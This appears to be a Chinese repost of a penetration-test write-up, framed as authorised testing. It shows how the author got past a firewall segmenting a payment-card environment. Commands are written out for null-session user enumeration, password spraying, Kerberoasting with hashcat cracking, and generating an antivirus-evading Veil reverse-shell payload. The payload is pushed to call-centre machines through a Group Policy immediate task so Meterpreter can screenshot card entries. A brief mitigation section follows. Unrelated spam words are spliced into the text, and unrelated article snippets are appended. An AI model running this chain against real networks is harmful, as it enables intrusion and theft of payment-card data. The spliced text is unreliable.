剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

本文主要是介绍剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

此文章介绍了以窃取数据为目标的完整渗透过程,作者首先通过enum4linux对域环境进行信息收集,整理出用户名字典后,然后暴力破解SMB。获得了一个域账号权限后,再使用 Kerberoasting技术获取到域管理员权限,最后通过域管理员下发组策略的方式获取到包含目标数据系统的权限。

一步步绕过Windows域中的防火墙获取支付卡敏感数据

本文详细介绍了如何绕过防火墙以获取对持卡人数据环境(cardholder data environment,CDE)的访问权限,并最终提取支付卡数据。

如果你要存储、传输或处理支付卡数据,那么就必须要确保支付卡数据在你的内部网络中保持高度安全,内部网络环境必须符合PCI数据安全标准(PCI-DSS)。当然,如果你的内部网络进行了分段,则不必让整个内部网络都符合PCI规范,只需让分段出的处理支付卡数据的环境符合PCI数据安全标准。而分段,即隔离出CDE,通常是利用防火墙来实现的。

在以下所讲解的示例中,所有敏感信息都做过修改,本文我们所进行渗透测试的支付卡公司,拥有很庞大的内部网络,所有IP都在10.0.0.0/8范围内。不过,为了保护支付卡的数据安全,它们的IP被特意进行了分段,和其他网络隔离,数据位于单独的192.168.0.0/16范围内。

CDE主要由接受电话订单的呼叫中心操作员组成,并在外部操作的web应用程序上以表单的形式输入付款细节。

由于这是一次内部渗透测试,因此我们连接到公司内部办公网络的范围为10.0.0.0/8。起初,使用ping和端口扫描从这个网络位置扫描CDE没有得到任何结果。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

虽然ping扫描与运行ping命令基本相同,但是nmap可以一次扫描整个范围。第二个命令输出中的“hosts up”与我们给nmap提供的-Pn参数有关,该参数告诉它不要首先ping,因此nmap会将范围内的所有主机报告为“up”,即使它们可能不是。

因此,除非有防火墙规则绕过漏洞,或者我们可以猜到防火墙的弱密码,否则直接扫描不太可能能得到想要的结果。因此,获取支付卡敏感数据的第一步是通过获得域管理员权限来集中精力控制Active Directory。中国菜刀

获得域管理员权限

有很多方法可以实现这个要求,比如我之前发表的《从外部Active Directory获取域管理员权限》。

而在本文的示例中,我们会采用一种新的方法,即利用kerberoast来控制域。简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。

为此,我们需要在域中找一个未授权的攻击点,来开始获得域管理员权限。攻击Active Directory的第一步通常涉及获得任何级别的任何用户帐户的访问权限。只要它能以某种方式对域控制器进行身份验证,就可以。在Windows环境中,即使账户没有权限在域控制器上实际执行任何操作,他们都应该能够使用域控制器进行身份验证。在Windows默认安全级别下,即使是权限最低的帐户在登录时也需要验证密码是否正确。

在客户的内网环境中,域控制器允许建立空会话。在本文的示例中,我们的域控制器是10.0.12.100, “PETER”。这意味着,我们可以使用enum4linux等工具枚举用户列表,显示域中每个用户的用户名:天空彩

$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

enum4linux是Kali Linux自带的一款信息收集工具。它可以收集Windows系统的大量信息,如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等。该工具主要是针对Windows NT/2000/XP/2003,在Windows 7/10系统,部分功能受限。

现在我们就有了一个用户列表,然后将该表解析成一个可用的格式:

$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

出于讲解目的,以上格式内容不是很简洁。如果你愿意,可以使用awk,grep,sed或更少字符的Perl来实现格式的简单化。但是,如果你正在进行渗透测试,建议你使用任何有效的方法,并将主要精力放在终极目标上,没有必要纠结形式。如果我要编写一个长期使用的脚本,我可能会对它进行一些优化,但是为了进行测试,我倾向于不对格式做优化。

在本文的示例中,由于实际测试的网络庞大,活跃用户超过25000人。为了方便测试,我们只选了部分用户的数据。

现在我们已经将用户列表解析为文本文件,然后可以使用CrackMapExec等工具猜测密码。在本文的示例中,我们将猜测是否有任何用户的密码是“Password1”,该密码虽然简单,但却符合Active Directory的默认复杂性规则,因为它包含四种字符类型中的三种(大写,小写和数字)。

$ cme smb 10.0.12.100 -u users.txt -p Password1

果然不出所料,猜测成功。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

请注意,如果我们想继续猜测并找到所有帐户,就需要指定参数–continue-on-success。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

此时,我们已经成功控制了一个帐户。现在我们可以查询Active Directory并获得服务帐户列表。服务帐户是一种代表服务的帐户,就像Microsoft SQL Server这样的服务。这些服务运行时,需要在以某种帐户身份存在于系统。幸运的是, Active Directory的Kerberos身份验证系统可用于提供访问权限,因此Active Directory提供“服务票据”以允许用户对其进行身份验证。 Kerberos身份验证不在本文的讨论范围之内,如果你想了解更多信息,请点此。

通过从域控制器请求Kerberos服务帐户列表,我们还能得到每个帐户的“服务票据”。此服务票据是使用服务帐户的密码所加密。因此,如果我们可以破解它,将能够获得高权限。 Impacket工具集可用于请求以下内容:

$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

正如我们所看到的,其中一个服务帐户是Domain Admins的成员,这意味着我们获得了高权限。

$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

在运行hashcat进行密码破解后,我们发现以下的明文密码。二四六

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

再次使用CrackMapExec,确认这是一个实际存在的活动帐户。

$ cme smb 10.0.12.100 -u redrum -p ' 1!

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

我们现在就可以伪装成Pwn3d !,获取域控制权限了。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

获得域管理员权限后,如何得到支付卡数据?

不幸的是,在对目标攻击测试后,我们发现呼叫中心代理在CDE中用来接受电话订单的计算机位于相同的Active Directory域中。虽然我们无法直接连接到这些设备,但由于现在我们已经可以获取域控制权限了,可以强行让域控制器与我们进行对话。为此,我们需要深入了解组策略对象(GPO),在GPO中,你可以使用组策略为用户和计算机组定义用户和计算机配置。通过使用组策略Microsoft Management Console (MMC) 管理单元,你可以为特定的用户和计算机组创建特定的桌面配置。此时,你创建的组策略设置包含在组策略对象中,后者进而与选定的 Active Directory 容器,如站点、域或组织单位 (OU))关联。不过在本文中,你只需要知道GPO允许在全局或用户级别上控制域中的计算机既可。

使用GPO的“即时任务”选项,我们可以创建一个将在呼叫中心运行的脚本,并连接回我们的设备,让我们实现控制。以下是具体步骤(7步):

1.生成有效载荷,我们在示例中使用的是Veil Evasion,Veil-Evasion是一种生成有效载荷可执行文件的工具,可绕过常见的防病毒解决方案。由于我们的IP地址是10.0.12.1,所以我们将把有效载荷指向这个地址,从而进行回连。

$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

2.使用我们从kerberoasting获得的凭据,通过远程桌面协议(RDP)登录到域控制器。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

3.在Active Directory中查找CDE,根据我们对测试目标的了解,我们知道呼叫中心代理在2楼工作。所以,我们重点关注带有floor 2. 字眼的文件。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

4.将我们从Veil制作的脚本放入文件夹中,并在域控制器上共享该脚本,设置共享和目录上的权限,以允许所有域用户读取。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

5.在GPO中,我们在如下级别创建了一个组策略。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

6.在编辑此新GPO时,找到“计划任务”选项,并创建新的“即时任务”:

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

7. 创建指向共享中恶意脚本的任务,同时在common下设置Run in logged-on user's security context。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

经过漫长地等待(90分钟),我看到了以下内容的生成。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

运行命令截取屏幕截图,这些生成的内容正是呼叫中心代理输入的支付卡数据!

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

此时,渗透测试的目标就已经顺利完成。剥丝抽茧,层层破解!通过一步步绕过防火墙,终于获取了支付卡信息。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

如果我们查看会话列表,可以看到原始IP来自192.168.0.0/16 CDE范围。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

在实际测试中,整个二楼的设备基本都返回了shell,我们最后得到了大约60-100个Meterpreter。

请注意,以上截图中的样本是Amazon,这与我谈论的测试目标无关。在真实的测试中,我们会设置了一个脚本以便在连接shell时捕获屏幕截图(通过autorunscript),然后就可以专注于更有趣的会话,例如那些支付卡数据进行输入时的进程。

还有其他获取截图的命令,例如在Meterpreter中使用use espia以及metasploit的post/windows/gather/screen_spy。

有一些方法可以通过编程实现GPO,我还没有尝试过,例如PowerView中的New-GPOImmediateTask。

缓解措施

缓解这种攻击的最好方法,就是始终在被隔离的Active Directory域中运行CDE,具体原理,请点此了解。另外,为了保险起见,你可以设置强密码。当然,更深度防御措施是彻底关闭空会话,检测是否有用户一次性来请求所有服务票据,如果有人这么做,则对其进行标记追踪。

这篇关于剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/779201

相关文章

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

【北交大信息所AI-Max2】使用方法

BJTU信息所集群AI_MAX2使用方法 使用的前提是预约到相应的算力卡,拥有登录权限的账号密码,一般为导师组共用一个。 有浏览器、ssh工具就可以。 1.新建集群Terminal 浏览器登陆10.126.62.75 (如果是1集群把75改成66) 交互式开发 执行器选Terminal 密码随便设一个(需记住) 工作空间:私有数据、全部文件 加速器选GeForce_RTX_2080_Ti

Android Environment 获取的路径问题

1. 以获取 /System 路径为例 /*** Return root of the "system" partition holding the core Android OS.* Always present and mounted read-only.*/public static @NonNull File getRootDirectory() {return DIR_ANDR

小技巧绕过Sina Visitor System(新浪访客系统)

0x00 前言 一直以来,爬虫与反爬虫技术都时刻进行着博弈,而新浪微博作为一个数据大户更是在反爬虫上不遗余力。常规手段如验证码、封IP等等相信很多人都见识过…… 当然确实有需要的话可以通过新浪开放平台提供的API进行数据采集,但是普通开发者的权限比较低,限制也比较多。所以如果只是做一些简单的功能还是爬虫比较方便~ 应该是今年的早些时候,新浪引入了一个Sina Visitor Syst

JS和jQuery获取节点的兄弟,父级,子级元素

原文转自http://blog.csdn.net/duanshuyong/article/details/7562423 先说一下JS的获取方法,其要比JQUERY的方法麻烦很多,后面以JQUERY的方法作对比。 JS的方法会比JQUERY麻烦很多,主要则是因为FF浏览器,FF浏览器会把你的换行也当最DOM元素。 <div id="test"><div></div><div></div

Linux命令(11):系统信息查看命令

系统 # uname -a # 查看内核/操作系统/CPU信息# head -n 1 /etc/issue # 查看操作系统版本# cat /proc/cpuinfo # 查看CPU信息# hostname # 查看计算机名# lspci -tv # 列出所有PCI设备# lsusb -tv

vcpkg子包路径批量获取

获取vcpkg 子包的路径,并拼接为set(CMAKE_PREFIX_PATH “拼接路径” ) import osdef find_directories_with_subdirs(root_dir):# 构建根目录下的 "packages" 文件夹路径root_packages_dir = os.path.join(root_dir, "packages")# 如果 "packages"

【小迪安全笔记 V2022 】信息打点9~11

第9天 信息打点-CDN绕过篇&漏洞回链8接口探针&全网扫指&反向件 知识点: 0、CDN知识-工作原理及阻碍 1、CDN配置-域名&区域&类型 2、CDN绕过-靠谱十余种技战法 3、CDN绑定-HOSTS绑定指向访问 CDN 是构建在数据网络上的一种分布式的内容分发网。 CDN的作用是采用流媒体服务器集群技术,克服单机系统输出带宽及并发能力不足的缺点,可极大提升系统支持的并发流数目,减少或避

Weex入门教程之4,获取当前全局环境变量和配置信息(屏幕高度、宽度等)

$getConfig() 获取当前全局环境变量和配置信息。 Returns: config (object): 配置对象;bundleUrl (string): bundle 的 url;debug (boolean): 是否是调试模式;env (object): 环境对象; weexVersion (string): Weex sdk 版本;appName (string): 应用名字;

MFC中App,Doc,MainFrame,View各指针的互相获取

纸上得来终觉浅,为了熟悉获取方法,我建了个SDI。 首先说明这四个类的执行顺序是App->Doc->Main->View 另外添加CDialog类获得各个指针的方法。 多文档的获取有点小区别,有时间也总结一下。 //  App void CSDIApp::OnApp() {      //  App      //  Doc     CDocument *pD